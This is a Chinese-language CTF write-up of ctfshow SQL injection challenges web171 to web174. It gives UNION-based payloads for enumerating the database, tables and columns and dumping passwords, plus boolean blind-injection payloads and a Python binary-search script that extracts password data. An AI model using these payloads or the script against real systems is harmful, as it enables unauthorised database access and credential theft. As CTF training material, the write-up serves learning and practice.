CTF-show-SQL注入-1

From:
https://blog.csdn.net/qq_61237064/article/details/121421239

https://blog.csdn.net/weixin_48083470/article/details/119034415

1、web171

在网页中给出的用户表中可以看到ID=3后,数据无法显示,这说明有三个字段数

判断字段后,首先查询数据库名字: ctfshow_web

1' union select 1,2,database()--+

数据库的信息收集

得到数据库后查询ctfshow_web中的表名: ctfshow_user

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

表名

得到表名后查询 ctfshow_user里的所有列名:id,username,password

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

列名

查询列名password中的数据即可:

1' union select 1,2,group_concat(password) from ctfshow_user--+

password

2、web172

同web171

3、web173

同web171

4、web174

查看返回逻辑,发现过滤了flag字符和数字,尝试布尔盲注

提示

preg_match执行匹配正则表达式

json_encode对变量进行 JSON 编码

开始盲注

数据库长度判断

1' and length(database())<12 %23

在12的时候有显示,但是11就没有了说明,长度为11

数据库名字判断

1' and ascii(substr(database(),1,1))=99%23第一个字符为c

1' and ascii(substr(database(),2,1))=116%23第二个为t

ctfshow_web

数据库表名判断

1' and length((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1))=13 --+  //第一行表,长度为13

1' and ascii(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),12,1))=114--+  //第12个字符为r
ctfshow_user4

数据库列名判断

1' and length((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1))=8--+  //第三列的长度为8

1' and ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1),8,1))=100--+  //列名的第8位为d
password

password列下的内容

1' and length((select password from ctfshow_web.ctfshow_user4 limit 0,1))>1--+  //字符长度判断

1' and ascii(substr((select password from ctfshow_web.ctfshow_user4 limit 0,1),1,1))>100--+  //字符内容判断 

脚本

import requests
 

url = "xxxx/?id=1' and "
 
result = ''
i = 0
 
while True:
    i = i + 1
    head = 32
    tail = 127
 
    while head < tail:
        mid = (head + tail) // 2
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- '         #f是将{i}和{mid}格式化输出
        r = requests.get(url + payload)    
        if "admin" in r.text:         #通过前面回显信息“admin”来判断ascii的值是否比mid的值大
            head = mid + 1       
        else:
            tail = mid
 
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值